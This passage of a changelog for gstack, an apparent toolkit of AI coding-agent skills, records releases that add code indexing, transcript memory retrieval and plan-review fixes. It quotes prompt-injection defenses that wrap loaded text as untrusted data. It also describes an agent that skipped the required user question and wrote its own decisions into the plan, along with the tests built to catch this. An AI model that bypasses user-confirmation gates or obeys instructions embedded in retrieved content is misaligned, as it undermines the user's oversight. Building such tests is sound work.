- **Five static template assertions in `test/gen-skill-docs.test.ts` lock the prompt change against drift.** Each plan-review SKILL.md (4 of them) plus the source resolver are checked for the new "delete-then-append flow" / "never mid-file" / "Do NOT replace the section in place" markers AND the absence of the old "replace it** entirely using the Edit tool" / "If it was found mid-file, move it" bullets. Synthetic regression check confirmed: all 5 fail when the prompt is reverted, all 5 pass when restored. The tests are bound to the change, not to incidentally green output.

### Itemized changes

#### Changed
- `scripts/resolvers/review.ts` — "Write to the plan file" subsection rewritten. Old contradictory pair ("replace it entirely" vs "always last / move if mid-file") collapsed into a single 4-step delete-then-append flow with explicit verification.
- All 6 generated SKILL.md files refreshed to carry the new instruction: `plan-ceo-review`, `plan-design-review`, `plan-devex-review`, `plan-eng-review`, `codex`, `devex-review`.

#### Added
- `test/gen-skill-docs.test.ts` — new `GSTACK REVIEW REPORT delete-then-append flow` describe block: 4 SKILL.md target tests + 1 source resolver test. Static, deterministic, free.

#### For contributors
- The `/autoplan` E2E approach attempted in the plan was dropped after a paid run revealed that `--disallowedTools AskUserQuestion` makes autoplan bail at the Phase 1 premise gate via the plan-file fallback. The PTY harness can't drive autoplan through its review phases without auto-progression of AskUserQuestions. The static prompt-text test catches the load-bearing change without needing that infrastructure.

## [1.26.3.0] - 2026-05-03

## **`/sync-gbrain` keeps your brain current and teaches the agent when to use it.**

Two functional gaps closed in one ship: the cwd repo wasn't actually being indexed by gbrain (the orchestrator called `gbrain import` which only handles markdown directories, not code), and the coding agent had no idea gbrain existed in any session that didn't explicitly opt in. Both fixed by switching to gbrain v0.20.0+'s native code surfaces and adding a CLAUDE.md guidance block that's gated on a working capability check.

### What you can now do

- **Run `/sync-gbrain` to refresh gbrain against this repo's code.** Default is `--incremental` (mtime fast-path, ~50ms). `--full` runs `gbrain reindex-code` for a full re-index. `--dry-run` previews what would sync without writing anywhere. `--code-only`, `--no-memory`, `--no-brain-sync`, `--quiet` all work.
- **Use `gbrain code-def`/`code-refs`/`code-callers`/`code-callees` against your repo.** /sync-gbrain registers the cwd as a federated source via `gbrain sources add` (idempotent — id is `gstack-code-<repo_slug>`), then runs `gbrain sync --strategy code`. The native code surfaces just work afterward.
- **Get gbrain hints in every gstack skill preamble.** When gbrain is configured AND the cwd source has page_count > 0, every skill start emits a 4-line "prefer `gbrain search`/`code-def`/`code-refs` over Grep" hint. When configured but the corpus is empty, you get a 3-line emergency hint nudging you to run `/sync-gbrain --full`. When gbrain isn't configured, the hint resolves to empty string — zero context tax for non-gbrain users.
- **Find the long-form guidance in CLAUDE.md.** `/sync-gbrain` (and `/setup-gbrain` Step 8) write a `## GBrain Search Guidance` block delimited by HTML comments, with concrete CLI commands for semantic search, symbol-aware code lookup, and curated-memory queries. The block is removed automatically when the capability check fails, so a Mac with synced repo CLAUDE.md but no local gbrain doesn't end up telling the agent to use tools that don't exist.

### What gets safer

- **Concurrent /sync-gbrain runs from two terminals don't corrupt CLAUDE.md or `.gbrain-sync-state.json`.** Lock file at `~/.gstack/.sync-gbrain.lock` with PID + timestamp. Stale-lock takeover after 5 min. Both files written via tmp+atomic-rename. SIGINT/SIGTERM trap releases the lock.
- **`--dry-run` actually doesn't write anywhere.** Previously the orchestrator skipped only the `gbrain import` call; now it skips `sources add`, `sync --strategy code`, the state file, AND the CLAUDE.md guidance block. Print "would: ..." lines for every action.
- **The capability check is narrower than `gbrain doctor`.** Doctor exits "unhealthy" for unrelated reasons (`resolver_health` warnings, `minions_migration` partial-installs) on otherwise-functional brains. /sync-gbrain uses a write+search round-trip (`gbrain put $SLUG | gbrain search ping | grep $SLUG`) which actually tests what we care about: can the agent search.

### Itemized changes

#### Added
- New `lib/gbrain-sources.ts` — `ensureSourceRegistered(id, path, options)` + `probeSource(id, env)` + `sourcePageCount(id, env)` helpers. Production callers leave `env` unset (inherit `process.env`); tests pass a custom env to point at a fake `gbrain` on PATH.
- New `sync-gbrain/SKILL.md.tmpl` — top-level skill, ~250 lines.
- New `test/gbrain-sources.test.ts` — 9 unit tests with a fake gbrain shell script on PATH (jq-driven state file, no real DB needed).
- Lock-file primitives (`acquireLock` / `releaseLock`) in the orchestrator.
- New code-stage detail schema in `.gbrain-sync-state.json`: `last_stages.code.detail = {source_id, source_path, page_count, last_imported, status}`.

#### Changed
- `bin/gstack-gbrain-sync.ts` `runCodeImport` rewritten to use `gbrain sources add` + `gbrain sync --strategy code` (incremental) or `gbrain reindex-code --yes` (`--full`) instead of `gbrain import`. State file written via tmp+rename for atomicity.
- `setup-gbrain/SKILL.md.tmpl` Step 8 now writes both `## GBrain Configuration` AND `## GBrain Search Guidance` blocks, gated on Step 9 smoke test pass.
- `scripts/resolvers/preamble/generate-brain-sync-block.ts` emits Variant A (4 lines, healthy) / Variant B (3 lines, empty corpus) / empty string (gbrain not configured). Reads cached cwd page_count from the state file (handles pretty + compact JSON via `tr -d '\n'` flatten).
- `test/gen-skill-docs.test.ts` plan-review preamble byte budget bumped 33000 → 35000 to absorb the new context-load block.
- `test/gstack-gbrain-sync.test.ts` updated for native code surfaces (12 tests, was 8) — adds source-id derivation, dry-run no-lock, stale-lock takeover, fresh-lock blocking.
- `test/skill-e2e-memory-pipeline.test.ts` updated to assert `would: gbrain sources add` instead of `would: gbrain import`.
- Ship golden fixtures (`test/fixtures/golden/{claude,codex,factory}-ship-SKILL.md`) refreshed.

#### For contributors
- The 4-digit `MAJOR.MINOR.PATCH.MICRO` version in `package.json` and `VERSION` is the source of truth.
- Run `bun run gen:skill-docs --host all` after editing any `.tmpl` to regenerate per-host SKILL.md files; commit both.
- gbrain v0.25.1 already ships `gbrain sync --watch [--interval N]` and `gbrain sync --install-cron` natively. The previously-deferred V1.5 P0 daemon can wire through to those rather than building a gstack-side watcher.

## [1.26.2.0] - 2026-05-03

## **`/plan-eng-review` always asks. Never silently writes findings to your plan first.**

Plan-mode review skills now have a hard STOP gate before any AskUserQuestion. The bug
this closes: a `/plan-eng-review` session would do Step 0 scope challenge, find real
issues, write the findings into the plan file as prose, then call `ExitPlanMode` —
never invoking AskUserQuestion. The user only saw "ready to execute" with the model's
opinions already baked in. The tool to surface the question existed, the prompt
told the model to use it, and the model still routed around it.

Five sites in `plan-eng-review/SKILL.md.tmpl` now use the office-hours `b512be71`
pattern verbatim: "the AskUserQuestion call is a tool_use, not prose — call the
tool directly," named blockers ("do not edit the plan file, do not call
ExitPlanMode"), and an anti-rationalization clause ("loading the schema via
ToolSearch and writing the recommendation as chat prose is the failure mode this
gate exists to prevent"). The four review-section gates (Architecture, Code
Quality, Test, Performance) and the Step 0 complexity-check trigger all use the
same language.

### What you can now do

- **Trust that any plan-* review skill that produces a plan file ends with the review report.** All four plan-mode E2E tests (`plan-eng`, `plan-ceo`, `plan-design`, `plan-devex`) now assert `## GSTACK REVIEW REPORT` is the last `## ` section of the plan file whenever one was written. The `{{PLAN_FILE_REVIEW_REPORT}}` resolver mandated this contract; nothing tested it until now.
- **Catch the "writes findings to plan as prose before asking" failure mode.** New `wrote_findings_before_asking` classifier outcome fires when a `Write`/`Edit` to `.claude/plans/*` precedes any AskUserQuestion render in the session window. Opt-in via `strictPlanWrites: true` so existing tests where zero-findings → write plan → plan_ready stays legitimate.
- **Run `plan-design-review-plan-mode` on PR CI again.** The touchfiles entry was duplicated — `plan-design-review-plan-mode` appeared at line 94 (gate, full deps) and line 243 (smaller deps). JS object literals: later wins. The effective tier was `periodic`, not `gate`. Three of four plan-mode siblings ran on every PR; design didn't.

### Itemized changes

#### Added

- `runPlanSkillObservation`'s `initialPlanContent?: string` option. Pre-pumps a user message containing the seeded plan before invoking the skill, with a 3s gap so the message renders before the slash command.
- `ClassifyResult` outcome `wrote_findings_before_asking` with companion `strictPlanWrites?` opt on `classifyVisible`. Six new unit tests in `claude-pty-runner.unit.test.ts` cover before/after-AUQ ordering plus the strict-off legacy path.
- Shared test helper `assertReportAtBottomIfPlanWritten(obs)` in `claude-pty-runner.ts`. Wraps the existing `assertReviewReportAtBottom(content)` and gates on `obs.planFile` (artifact existing), so the assertion fires under `'asked'` and `'plan_ready'` both — wherever a plan file was actually written.
- New seeded-plan test case in `skill-e2e-plan-eng-plan-mode.test.ts`: `STOP gate fires when seeded plan forces Step 0 findings`. Combines `initialPlanContent` + `--disallowedTools AskUserQuestion` to force the Conductor MCP-variant path through `mcp__*__AskUserQuestion`.

#### Changed

- `plan-eng-review/SKILL.md.tmpl` lines 116, 139, 152, 160, 169 ported from soft "STOP." prose to the office-hours pattern. Adds tool_use reminder, names blocked next steps explicitly, anti-rationalization clause.
- `runPlanSkillObservation` now captures `obs.planFile` on every classifier outcome (was: only `'plan_ready'`). Catches the case where the skill wrote a plan partway through then paused on a question.

#### Fixed

- `test/helpers/touchfiles.ts` duplicate `plan-design-review-plan-mode` keys deleted (line 243 in `E2E_TOUCHFILES`, line 524 in `E2E_TIERS`). Effective tier is now `gate` again, matching the other three siblings.
- `scripts/resolvers/review.ts` added to all four plan-mode-test touchfiles entries so changes to the `{{PLAN_FILE_REVIEW_REPORT}}` resolver text trigger all four sibling tests in `bun run eval:select`.

#### For contributors

- 6 new classifier unit tests in `test/helpers/claude-pty-runner.unit.test.ts` (70 → 76).
- New `initialPlanContent?: string` option on `runPlanSkillObservation` for seeding a draft plan into a test run before invoking the skill. Lets STOP-gate regression tests pre-pump guaranteed-finding-triggering complexity (8+ files, custom-vs-builtin smell) so the skill has something concrete to react to.

## [1.26.1.0] - 2026-05-03

## **`gstack-gbrain-sync` ships host-agnostic. Curated artifacts push from Claude Code, Codex CLI, or a dev workspace — same orchestrator, same install, same result.**

The orchestrator resolves its sibling `gstack-brain-sync` binary via `import.meta.dir`, matching the pattern already in `runMemoryIngest`. Path resolution stays anchored to where the script actually lives, not to a hardcoded host install root, so the curated-git-push stage runs end-to-end on every host gstack supports.

### What you can now do

- **Run `gstack-gbrain-sync` from any host install and watch curated artifacts land in the remote.** End-to-end smoke from a Conductor workspace: `bun run bin/gstack-gbrain-sync.ts --incremental --no-code --no-memory --quiet` returns `{"name": "brain-sync", "ran": true, "ok": true, "summary": "curated artifacts pushed"}`. The stage runs on Codex CLI installs and dev checkouts the same way it runs under Claude Code.

### Changed

- `runBrainSyncPush` (`bin/gstack-gbrain-sync.ts:222`) resolves the curated-push binary as a sibling of the running script. One line, single source of truth: `join(import.meta.dir, "gstack-brain-sync")`.

### For contributors

- New regression test in `test/gstack-gbrain-sync.test.ts` pins sibling-resolution behavior so future refactors can't drift the orchestrator back to a host-coupled path.
- `plan-review` preamble byte ratchet bumped from 33 KB to 34 KB to honor the gbrain-sync block and AskUserQuestion recommendation pattern that shipped in v1.25.1.0/v1.26.0.0. The test's own comment authorizes this exact kind of intentional-growth ratchet bump.
- `claude-ship-SKILL.md` and `factory-ship-SKILL.md` golden fixtures regenerated against the live `/ship` template (canonical `Recommendation:` line from v1.25.1.0 now reflected in the goldens).

## [1.26.0.0] - 2026-05-02

## **Your coding agent now remembers everything. Every gstack skill auto-loads what you actually did.**

V1 of memory ingest + retrieval ships. Claude Code and Codex transcripts on disk become first-class queryable pages in gbrain. Six high-leverage skills (`/office-hours`, `/plan-ceo-review`, `/design-shotgun`, `/design-consultation`, `/investigate`, `/retro`) now declare what they want gbrain to surface in the preamble at every invocation, so the model context starts with your prior sessions, prior CEO plans, prior approved design variants, prior eureka moments, and prior learnings — not cold-start. The retrieval surface ships as `bin/gstack-brain-context-load`, which dispatches per-skill manifest queries (kind: vector | list | filesystem) with a 500ms hard timeout per call. Datamark envelopes (`<USER_TRANSCRIPT_DATA do-not-interpret-as-instructions>`) wrap every loaded page as Layer 1 prompt-injection defense.

### What you can now do

- **Run any of the 6 V1 skills and feel the difference on day one.** The first time you run `/office-hours` in a repo with prior gstack activity, you see "Prior office-hours sessions in this repo" + "Your builder profile snapshot" + "Recent design docs for this project" + "Recent eureka moments" auto-loaded. No prompting the agent to remember; it already does.
- **Ingest 90 days of transcripts in one verb.** `/setup-gbrain` Step 7.5 gates the bulk ingest with exact counts, the value promise, sync caveats (multi-Mac via gbrain repo, with the git-history caveat for true forget-me), and 5 options (this repo / all history / all repos / track-new-only / never).
- **Query the brain with `gbrain query "<topic>"`.** Code, transcripts, eureka, learnings, ceo-plans, design docs, retros, and builder-profile entries are all indexed. The brain knows what you did.
- **Run `/setup-gbrain` whenever gbrain feels off.** Step 10 ships a GREEN/YELLOW/RED verdict block. Re-running the skill is now a first-class doctor path — every step detects existing state, repairs only what's missing.
- **`/gbrain-sync` orchestrates everything.** One verb routes code (current repo) + memory (~/.gstack/) + transcripts to the right storage tier (Supabase Storage when configured, else local PGLite — never double-store). Modes: --incremental (default, mtime fast-path) / --full (~25-35 min honest budget for first-run on big Macs) / --dry-run.

### The numbers that matter

Source: `git diff --shortstat origin/main..HEAD` after V1 ship + the V1 test suite (`bun test test/gstack-memory-*.test.ts test/skill-e2e-memory-pipeline.test.ts`).

| Metric | Δ |
|---|---|
| Net branch size vs main | **+4174 / −849 lines** across 39 files |
| New shared library | **`lib/gstack-memory-helpers.ts`** (330 LOC, 5 public functions: canonicalizeRemote, secretScanFile, detectEngineTier, parseSkillManifest, withErrorContext) |
| New helpers in `bin/` | **3 helpers** — `gstack-memory-ingest` (580 LOC), `gstack-gbrain-sync` (270 LOC), `gstack-brain-context-load` (420 LOC) |
| Skills with V1 gbrain manifests | **6 skills** — `/office-hours`, `/plan-ceo-review`, `/design-shotgun`, `/design-consultation`, `/investigate`, `/retro` |
| Memory types ingested | **8 types** — transcript (Claude Code + Codex), eureka, learning, timeline, ceo-plan, design-doc, retro, builder-profile-entry |
| Tests added | **65 new tests** — 22 helpers + 15 ingest + 8 sync + 10 context-load + 10 E2E pipeline |
| New /setup-gbrain steps | **2 steps** — Step 7.5 (transcript ingest gate with 5-option AskUserQuestion) + Step 10 (GREEN/YELLOW/RED idempotent doctor verdict) |
| New user-facing reference | **`setup-gbrain/memory.md`** — what gets ingested, what stays local, secret scanning via gitleaks, querying, deleting, recovery cases |
| Manifest schema | **`gbrain.schema: 1`**, validated at gen-skill-docs time; 3 query kinds (vector / list / filesystem) with kind-specific required fields |
| MCP-call timeout per query | **500ms** hard cap; preamble never blocks > 2s on gbrain issues |
| Datamark envelope wrap | **per-page** (not per-message) — single envelope around rendered body |

### What this means for builders

You stop describing your past work to the agent. The agent already knows. Run `/office-hours` and the "Welcome back, last time you were on X" beat is sourced from data. Run `/investigate` and it opens with "have we hit this bug class before?" instead of cold-start. Run `/design-shotgun` and the variants regenerate from your taste, not generic defaults.

The storage architecture lands in V1: curated memory rides the existing brain-sync git pipeline; code and transcripts route to Supabase Storage when configured (multi-Mac native) or stay local on PGLite-only Macs. **Never double-store.** Decision rule from D2 (sync by default) survives a CEO review and Codex outside-voice challenge: the value loop (ingest → retrieve → better decisions) requires multi-Mac to feel real.

V1 is **Goldilocks** scope per CEO D18 (Codex F10 strategic challenge): the value loop closes on day one. V1.5 P0 follow-ups capture: `/gbrain-sync --watch` daemon (deferred per F3 invariant), `mcp__gbrain__code_search` MCP tool (cross-repo coordination), `gbrain: default` one-line manifest opt-in (per F1 frontmatter passthrough is bigger than estimated), agent-agnostic `gbrain context` CLI, brain-trajectory observability + weekly digest, classifier-based prompt-injection defense (per F5 ONNX integration), salience MCP server-side promotion. All documented in the plan's V1.5 TODOs.

### Itemized changes

#### Added — Foundation

- `lib/gstack-memory-helpers.ts` — shared module imported by all V1 helpers. canonicalizeRemote (handles https/ssh/git@/.git/quotes/multi-segment), secretScanFile (gitleaks wrapper with discriminated `scanner: "gitleaks" | "missing" | "error"` return), detectEngineTier (cached 60s), parseSkillManifest, withErrorContext (async-aware error logging to `~/.gstack/.gbrain-errors.jsonl`).

#### Added — Ingest pipeline

- `bin/gstack-memory-ingest` — walks `~/.claude/projects/*/`, `~/.codex/sessions/YYYY/MM/DD/`, and `~/.gstack/` artifacts (eureka, learnings, timeline, ceo-plans, design-docs, retros, builder-profile). Modes: --probe / --incremental (default, mtime fast-path) / --bulk. Tolerant JSONL parser handles truncated last lines (D10 partial-flag). State at `~/.gstack/.transcript-ingest-state.json` with schema_version: 1, backup-on-mismatch + JSON-corrupt recovery. gitleaks runs on every page before put_page (D19). --no-write flag for tests + dry-runs (also via `GSTACK_MEMORY_INGEST_NO_WRITE=1`).
- `bin/gstack-gbrain-sync` — unified sync verb. Orchestrates 3 stages: code import → memory ingest → curated git push. Modes: --incremental / --full / --dry-run. State at `~/.gstack/.gbrain-sync-state.json` (LOCAL per ED1) with per-stage outcomes. --code-only / --no-code / --no-memory / --no-brain-sync for selective stage disable.

#### Added — Retrieval surface

- `bin/gstack-brain-context-load` — V1 retrieval surface. Dispatches per-skill manifest queries by kind (vector via `gbrain query`, list via `gbrain list_pages`, filesystem via local glob). 500ms hard timeout per MCP call. Datamark envelope per page. Layer 1 default fallback with 3 sections (recent transcripts + recent curated + skill-name-matched timeline) all carrying explicit `repo: {repo_slug}` filter (F7 cleanup). Template var substitution: {repo_slug}, {user_slug}, {branch}, {skill_name}, {window}.

#### Added — Skill manifests (6 V1 skills)

- `office-hours/SKILL.md.tmpl` — 4 queries (prior-sessions list + builder-profile fs + design-doc-history fs + prior-eureka fs)
- `plan-ceo-review/SKILL.md.tmpl` — 3 queries (prior-ceo-plans fs + recent-design-docs fs + recent-reviews list)
- `design-shotgun/SKILL.md.tmpl` — 3 queries (prior-approved-variants fs + DESIGN.md fs + recent-design-docs fs)
- `design-consultation/SKILL.md.tmpl` — 3 queries (existing-DESIGN.md fs + prior-design-decisions fs + brand-guidelines list)
- `investigate/SKILL.md.tmpl` — 3 queries (prior-investigations list + project-learnings fs + recent-eureka fs)
- `retro/SKILL.md.tmpl` — 3 queries (prior-retros fs + recent-timeline fs + recent-learnings fs)

#### Added — setup-gbrain idempotent doctor + ref doc

- `setup-gbrain/SKILL.md.tmpl` Step 7.5 — Transcript & memory ingest gate. Probe → silent bulk if < 200 sessions / 100MB → AskUserQuestion with 5-option gate otherwise (this repo last 90d / all history / all repos / incremental / never).
- `setup-gbrain/SKILL.md.tmpl` Step 10 — GREEN/YELLOW/RED verdict block. Re-running /setup-gbrain is now first-class doctor path with detect→repair→report rows for CLI / Engine / doctor / MCP / Repo policy / Code import / Memory sync / Transcripts / CLAUDE.md / Smoke.
- `setup-gbrain/memory.md` — user-facing reference covering what gets ingested + what stays local + secret scanning + storage tiering + querying + deleting + how the agent uses it + recovery cases.

#### Added — Tests

- `test/gstack-memory-helpers.test.ts` — 22 unit tests covering all 5 public helpers
- `test/gstack-memory-ingest.test.ts` — 15 tests covering CLI surface, --probe with all source types, state file lifecycle, schema mismatch + JSON corrupt backup-on-error, truncated JSONL handling
- `test/gstack-gbrain-sync.test.ts` — 8 tests covering --help, unknown flag rejection, --dry-run preview, --no-code stage skip, state file lifecycle, stage results recorded
- `test/gstack-brain-context-load.test.ts` — 10 tests covering CLI surface, default fallback, manifest dispatch, datamark envelope wrap, render_as template substitution, unresolved template var skip, --quiet suppression, graceful gbrain-CLI-absence
- `test/skill-e2e-memory-pipeline.test.ts` — 10 E2E tests exercising the full Lane A → B → C value loop with 8 fixture file types

#### Changed

- `package.json` version 1.25.1.0 → 1.26.0.0
- `VERSION` 1.25.1.0 → 1.26.0.0

#### For contributors

- The plan file at `/Users/garrytan/.claude/plans/ok-actually-lets-go-luminous-thacker.md` (~890 lines) is the canonical V1 design source, including office-hours findings, CEO review expansions (6 cherry-picks accepted, 1 reverted+replaced), Codex outside-voice 10 findings (F1-F10 each resolved or deferred), eng review additions (ED1 + ED2 + 6 auto-applied implementation specs), and V1.5 P0 TODOs section with full handoff context.
- Manifest schema is versioned (`gbrain.schema: 1`); future format changes bump the schema and require explicit migration. gen-skill-docs validates the schema at build time (kind / required fields per kind / template var resolution / unique IDs).
- Lane D (cross-repo `gbrain restore-from-sync` with atomic swap + 7-day .bak retention per D11) is documented as V1.5 P0 TODO — gstack repo cannot write to gbrain CLI repo.
- The retrieval surface helper signature is V1.5-promotion-stable: when V1.5 ships server-side `mcp__gbrain__get_recent_salience` / `find_anomalies` MCP tools, the helper switches its internals from 4-call composition to a single MCP call without changing the manifest format or any skill template.
- gitleaks vendoring is a V1.0.1 follow-up; for V1.0, the helper expects gitleaks on PATH and warns once if missing. `brew install gitleaks` on macOS gets you covered until the vendored binary ships.

## [1.25.1.0] - 2026-05-01

## **Office-hours stops at Phase 4 architectural forks. AskUserQuestion evals — and `/codex` synthesis — now grade the "because" clause.**

When you run `/office-hours` in builder mode and it reaches Phase 4 (Alternatives Generation), the agent now actually asks you to pick between A/B/C instead of writing "Recommendation: C because..." in chat prose and proceeding straight to the design doc. The previous Phase 4 footer was soft prose ("Present via AskUserQuestion. Do NOT proceed without user approval"); the new one matches the hard `STOP.` pattern from `plan-ceo-review`'s 0C-bis gate, names the blocked next steps (Phase 4.5 / Phase 5 / Phase 6 / design-doc generation), and rejects the "clearly winning approach so I'll just apply it" reasoning.

Format-compliance evals on AskUserQuestion now do more than confirm a `Recommendation:` line exists. A new Haiku 4.5 judge grades the "because <reason>" clause on a 1-5 substance rubric: 5 = specific tradeoff vs an alternative; 3 = generic ("because it's faster"); 1 = boilerplate. Tests fail at threshold ≥ 4, catching the exact failure mode where agents write "Recommendation: B because it's better" — present but useless.

The same rigor extends to **cross-model synthesis surfaces** that previously emitted prose without a structured recommendation. `/codex review`, `/codex challenge`, `/codex consult`, and the Claude adversarial subagent (plus Codex's adversarial pass in `/ship` Step 11) now MUST emit a canonical `Recommendation: <action> because <reason>` line at the end of their synthesis. The reason must compare against alternatives (a different finding, fix-vs-ship, fix-order tradeoff) — generic synthesis ("because adversarial review found things") fails the format check.

### What you can now do

- **Run `/office-hours` builder mode in Conductor and trust the Phase 4 gate.** The architectural fork (server-side vs client-side vs hybrid, or whatever shape your project has) actually surfaces for you to decide. The agent stops cold at Phase 4 until you respond.
- **Catch weak recommendations in CI.** Periodic-tier evals on `/plan-ceo-review`, `/plan-eng-review`, and `/office-hours` now grade recommendation substance via Haiku 4.5 (~$0.005/judge call). Generic "because it's faster" reasoning fails the gate.
- **Get an actionable line out of every `/codex` run.** Review, challenge, and consult modes all now end with `Recommendation: <action> because <reason>` — one line you can act on without re-reading the full Codex transcript. Same for the Claude adversarial subagent and Codex adversarial pass that auto-run in `/ship` Step 11.

### The numbers that matter

Source: paid evals run on this branch (`EVALS=1 EVALS_TIER=periodic bun test ...`). Six recommendation-quality evals: 4 plan-format + 1 office-hours Phase 4 + 1 fixture sanity test.

| Metric | Before | After | Δ |
|---|---|---|---|
| Recommendation-quality eval coverage | regex only (`Choose` literal required) | regex + Haiku 4.5 judge | substance-graded |
| Office-hours Phase 4 silent auto-decide | possible | regression test gates | trapped |
| Phase 4 eval cost per run | n/a (test didn't exist) | $0.36, 4 turns, 36s, substance 5 | new |
| Plan-format judge threshold | none (regex only) | `reason_substance >= 4` | catches generic |
| Test fixture coverage for judge rubric | manual revert/re-apply sabotage | 13 hand-graded fixtures | deterministic |
| `judgeRecommendation` branch coverage | n/a | 14/14 (100%) | new |

### What this means for builders

If you've been running `/office-hours` in builder mode and noticed your design doc had architectural choices baked in that you didn't make, that was the bug. Phase 4's footer wasn't strong enough to keep the agent from rationalizing through the gate. After upgrading, the agent stops, asks, and waits.

If you've been writing skill templates with `Recommendation: <choice> because <reason>` and noticing the agent sometimes ships generic reasons, the new judge catches that. Run the format-regression evals against your skill (or copy the pattern into your own E2E tests) and Haiku will rate the because-clause substance. Generic reasons fail at threshold 4; specific tradeoff reasons (level 5) pass.

### Itemized changes

#### Added — judgeRecommendation helper + regression tests

- `test/helpers/llm-judge.ts` gets `judgeRecommendation()` plus the `RecommendationScore` interface. Layered design: deterministic regex parses `present` / `commits` / `has_because` (no LLM call needed for booleans, and the function returns substance=1 immediately when the because-clause is missing). Haiku 4.5 grades only the 1-5 `reason_substance` axis on a tight rubric scoped to the because-clause itself with the surrounding menu as untrusted context.
- `callJudge()` generalized with an optional model arg defaulting to Sonnet 4.6. Existing callers (`judge`, `outcomeJudge`, `judgePosture`) unchanged.
- `test/skill-e2e-office-hours-phase4.test.ts` (new, periodic-tier) — SDK + `captureInstruction` regression test for the Phase 4 silent-auto-decide bug. Extracts only the AskUserQuestion Format + Phase 4 sections from `office-hours/SKILL.md` (per CLAUDE.md "extract, don't copy") rather than copying the full skill, saving ~30% per run on Opus tokens.
- `test/llm-judge-recommendation.test.ts` (new, periodic-tier) — 13 hand-graded fixtures covering substance 5 / 4 / 3 / 1, no-because, no-recommendation, and 6 distinct hedging forms. Replaces the original "manually inject bad text into a captured file and revert the SKILL template" sabotage step with deterministic negative coverage.
- `test/helpers/e2e-helpers.ts` gets `assertRecommendationQuality()` + `RECOMMENDATION_SUBSTANCE_THRESHOLD` constant. Collapses the 5x duplicated 22-line judge-assertion block (4 plan-format cases + 1 Phase 4) into a single helper call.

#### Changed — office-hours Phase 4 STOP gate

- `office-hours/SKILL.md.tmpl` Phase 4 footer rewritten with a hard `**STOP.**` token (matching `plan-ceo-review/SKILL.md.tmpl:248-252`'s 0C-bis pattern), named blocked next steps (Phase 4.5 Founder Signal Synthesis, Phase 5 Design Doc, Phase 6 Closing, design-doc generation), and an explicit anti-rationalization line ("A 'clearly winning approach' is still an approach decision"). Preserves the preamble's no-variant fallback path explicitly (write `## Decisions to confirm` to the plan file + ExitPlanMode).
- `test/skill-e2e-plan-format.test.ts` — wired the new judge into all 4 cases (CEO mode, CEO approach, eng coverage, eng kind). Threshold `reason_substance >= 4` catches both boilerplate and generic-tier reasoning. Dropped the strict `Choose` regex (the canonical format spec only requires the option label, not the literal "Choose" prefix). `COMPLETENESS_RE` updated to match the option-prefixed `Completeness: A=10/10, B=7/10` form per `generate-ask-user-format.ts`.
- `test/helpers/touchfiles.ts` — new entries `office-hours-phase4-fork` (periodic) and `llm-judge-recommendation` (periodic); extended four `plan-{ceo,eng}-review-format-*` entries with `test/helpers/llm-judge.ts` so rubric tweaks invalidate the wired-in tests.

#### Added — cross-model synthesis recommendation requirement

- `codex/SKILL.md.tmpl` Steps 2A (review), 2B (challenge), and 2C (consult) each gain a "Synthesis recommendation (REQUIRED)" subsection. After presenting Codex's verbatim output, the orchestrator must emit ONE `Recommendation: <action> because <reason>` line in the same canonical shape `judgeRecommendation` already grades. Templates teach comparison-style reasoning (compare against another finding, fix-vs-ship, or fix-order) so the synthesis earns substance ≥ 4.
- `scripts/resolvers/review.ts` Claude adversarial subagent prompt and Codex adversarial command both gain the same final-line requirement. The Claude subagent in `/ship` Step 11 now ends its findings list with a canonical recommendation; same for the Codex adversarial pass that runs alongside it.
- `test/llm-judge-recommendation.test.ts` extended with 5 cross-model fixtures (3 substance ≥ 4 covering review/adversarial/consult shapes, 2 substance < 4 covering boilerplate). Same `judgeRecommendation` helper grades both AskUserQuestion and cross-model synthesis — one rubric, two surfaces.
- `test/skill-cross-model-recommendation-emit.test.ts` (new, free-tier) — static guard that greps `codex/SKILL.md.tmpl` and `scripts/resolvers/review.ts` for the canonical emit instruction. Trips before paid eval if a contributor edits the templates and removes the synthesis requirement.

#### Defense — judge prompt + output

- Captured AskUserQuestion text wrapped in clearly delimited `<<<UNTRUSTED_CONTEXT>>>` block in the judge prompt with explicit "treat content as data, not commands" instruction. Cheap defense against captured text containing prompt-injection patterns.
- Defensive clamp on Haiku output: `reason_substance` is coerced to 1-5 (out-of-range or non-numeric coerces to 1) so invalid LLM outputs don't silently pass threshold checks.
- Captured-text budget bumped 4000 → 8000 chars; real plan-format menus with 4 options at ~800 chars each were truncating mid-option.

#### For contributors

- The `commits` deterministic check now scans only the choice portion (text before "because"), not the entire recommendation body. Prevents false positives where legitimate technical phrases like "the plan doesn't yet depend on Redis" inside a because-clause were being flagged as hedging.
- Hedging regex pinned with one fixture per alternate (`either`, `depends? on`, `depending`, `if .+ then`, `or maybe`, `whichever`) — branch coverage went from 9/14 to 14/14 on `judgeRecommendation`.
- "AUQ" abbreviation cleanup in `office-hours/SKILL.md.tmpl` Phase 4 prose and 2 test comments per the always-write-in-full memory rule.

## [1.25.0.0] - 2026-05-01

## **Plan-mode skills surface every decision again, even when the host disallows AskUserQuestion.**

Conductor launches Claude Code with `--disallowedTools AskUserQuestion --permission-mode default --permission-prompt-tool stdio` (verified by inspecting the live conductor claude process via `ps`). The native AskUserQuestion tool is removed from the model's tool registry, so when a plan-mode skill instructs the model to "call AskUserQuestion," the call silently fails: the model can't ask, the user never sees the question, and the skill auto-proceeds without input. The whole interactive premise of `/plan-ceo-review`, `/plan-eng-review`, `/plan-design-review`, `/plan-devex-review`, `/autoplan`, and `/office-hours` was broken in any Conductor session.

The fix is preamble guidance, not skill-template surgery. A new `Tool resolution` section in `scripts/resolvers/preamble/generate-ask-user-format.ts` tells the model to check its tool list and prefer any `mcp__*__AskUserQuestion` variant (e.g. `mcp__conductor__AskUserQuestion`) over the native tool. Hosts that disable native AskUserQuestion register their own MCP variant; the variant takes the same questions/options shape and the host renders the prompt through its own UI surface. If neither variant is callable, the model falls back to writing a `## Decisions to confirm` section into the plan file and calling ExitPlanMode — plan-mode's native "Ready to execute?" confirmation surfaces the decisions through TTY UI. **Never silently auto-decide.**

Six gate-tier real-PTY regression tests reproduce the exact Conductor flag set (`extraArgs: ['--disallowedTools', 'AskUserQuestion']`) for every plan-mode skill, plus a periodic-tier eval that protects the legitimate `/plan-tune` AUTO_DECIDE opt-in path from being broken by the fix. The harness gains a new `'auto_decided'` outcome and whitespace-tolerant detectors that survive TTY cursor-positioning escape sequences (which `stripAnsi` removes without leaving spaces, collapsing "ready to execute" to "readytoexecute").

### What you can now do

